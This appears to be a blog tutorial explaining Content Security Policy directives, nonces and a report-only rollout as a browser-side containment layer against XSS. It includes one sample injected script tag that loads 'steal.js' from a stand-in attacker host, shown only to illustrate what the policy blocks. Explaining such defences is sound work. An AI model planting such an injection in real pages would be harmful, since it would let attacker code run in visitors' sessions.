The containment fence in your browser

Content Security Policy can be confusing to introduce because it doesn’t fix the vulnerability that caused the problem.

If an application has an XSS bug, a bad dependency, or an unsafe HTML rendering path, CSP doesn’t remove it. The vulnerable code still needs fixing.

What CSP does is limit what the browser lets injected content do afterwards. It can block unknown scripts, outbound connections, deceptive frames, and other follow-on actions. I think of it as a containment fence inside the browser.

What the browser actually does

The policy comes from your server, normally in a response header:

Content-Security-Policy: default-src 'self'

The browser reads that rule while it handles the page. Every time the page tries to load something, it checks whether that action is allowed. A script tag gets checked against script-src. An image gets checked against img-src. A fetch() request gets checked against connect-src.

If no rule permits it, the browser blocks it.

So, CSP is only as strong as the browser’s ability to enforce it. Modern browsers do enforce it, and that protects normal visitors. But it isn’t a magic server-side control. A person with a modified browser, a powerful browser extension, or control of your origin can bypass assumptions that CSP makes. It’s a policy your site asks the browser to uphold, not a substitute for securing the application itself.

Still, that makes it a very useful layer.

Start with what a page may load

The first directive to understand is default-src. It’s the fallback rule:

default-src 'self'

'self' means the same origin as the current site. If the page is on app.example.com, resources can come from there. Everything else needs a more specific permission.

Say somebody injects this into a vulnerable comment field:

<script src="https://evil.example/steal.js"></script>

With only default-src 'self', the browser refuses to load it. That doesn’t remove the injection bug, but it stops the obvious next step: turning it into arbitrary JavaScript running in every visitor’s session.

The rule that matters most: scripts

The most important specific rule is usually script-src:

script-src 'self' https://cdn.example.com

This allows scripts from your application and one known CDN. The browser rejects scripts from unknown domains.

It also blocks inline JavaScript unless you explicitly allow it. That can initially feel inconvenient:

<script>
  startApp();
</script>

But inline scripts are exactly what many XSS payloads look like. Adding 'unsafe-inline' is the common quick fix, and sometimes a legacy application needs it temporarily. The trade-off is real: once you allow arbitrary inline code, you’ve weakened a major part of CSP’s XSS containment.

A better option is a nonce. Your server creates a new random value for each HTML response, adds it to the policy, and includes it on scripts it trusts:

script-src 'self' 'nonce-aFreshRandomValue'
<script nonce="aFreshRandomValue">
  startApp();
</script>

The browser runs that script because the values match. An attacker injecting a new script won’t know the nonce, so the browser blocks it. Hashes can solve the same problem for short, fixed inline scripts. I generally use nonces because application code changes often enough to make hashes tiresome.

Styles, images, fonts, and connections

style-src applies the same thinking to CSS:

style-src 'self' https://fonts.example-cdn.com

CSS normally can’t take over a browser session the way JavaScript can, but it can still enable UI manipulation and some awkward data-leak scenarios. More often, it tells you how much hidden inline styling your front end has accumulated.

Some component libraries make 'unsafe-inline' under style-src hard to avoid. I wouldn’t call that ideal, but I also wouldn’t block a migration over it. Document it, keep the exception limited to styles, and avoid copying the same allowance into script-src.

Then there are the everyday resource rules:

img-src 'self' https://images.example-cdn.com data:;
font-src 'self' https://fonts.example-cdn.com;

img-src controls image locations. font-src does the same for fonts. Allowing data: under img-src is normal if the application uses embedded images or generated icons. Allowing data: under script-src is a different story and usually a bad idea, since it could permit executable code from a data URL.

connect-src is the one I see people forget:

connect-src 'self' https://api.example.com wss://realtime.example.com;

This controls outgoing browser connections: fetch, XMLHttpRequest, WebSockets, EventSource, and sendBeacon.

If injected JavaScript runs despite everything else, connect-src can make it harder to send data to an attacker’s server. The annoying part is maintenance. You need to allow legitimate APIs, error reporting, analytics, feature flags, payment providers, and realtime connections. I might be excessive here, but I prefer fixing a blocked integration in testing to silently giving every page permission to connect anywhere.

The smaller rules worth adding

A few smaller directives close specific doors:

object-src 'none';
base-uri 'self';
form-action 'self';
frame-ancestors 'none';

object-src 'none' blocks old embedded plugin content. Most current applications don’t need it, so this is nearly free protection.

base-uri 'self' stops an injected <base> element from changing how relative links and resource URLs resolve.

form-action 'self' lets forms submit only back to your own site. That can limit an injected fake login form that tries to post credentials somewhere else.

frame-ancestors 'none' prevents any other site from embedding your page in an iframe, which reduces clickjacking risk. If your own application needs to frame it, use 'self' instead.

Find your policy before enforcing it

The fantastic part of CSP is watching the browser quietly reject a request your page never intended to make.

But don’t start by enforcing a strict policy in production. Use report-only mode first:

Content-Security-Policy-Report-Only: default-src 'self'; ...

The browser logs violations without blocking resources. Open developer tools, exercise the site, and see what actually fails. This is where you find the real CSP: not an idealized policy copied from a blog post, but one based on the scripts, APIs, fonts, images, and embeds your application genuinely uses.

For a public site, run Mozilla’s HTTP Observatory to inspect the headers visible from outside. Then paste the policy into Google’s CSP Evaluator to catch common weak spots, such as broad wildcards or unsafe script settings. Neither tool replaces a security review, and neither score should become the goal. They’re good prompts for questions.

A practical first step

A sensible starting point is:

default-src 'self';
object-src 'none';
base-uri 'self';
frame-ancestors 'none';

Run it in report-only mode, add only what the application actually needs, and stay suspicious of rules that permit everything just to make the console quiet.

CSP won’t prevent the breach that got code into your page. It limits the damage the browser is willing to help that code cause. It won’t remove the underlying vulnerability, but it can substantially limit what happens next. Check your own site sometime; you may find a few trusted paths you didn’t know were there.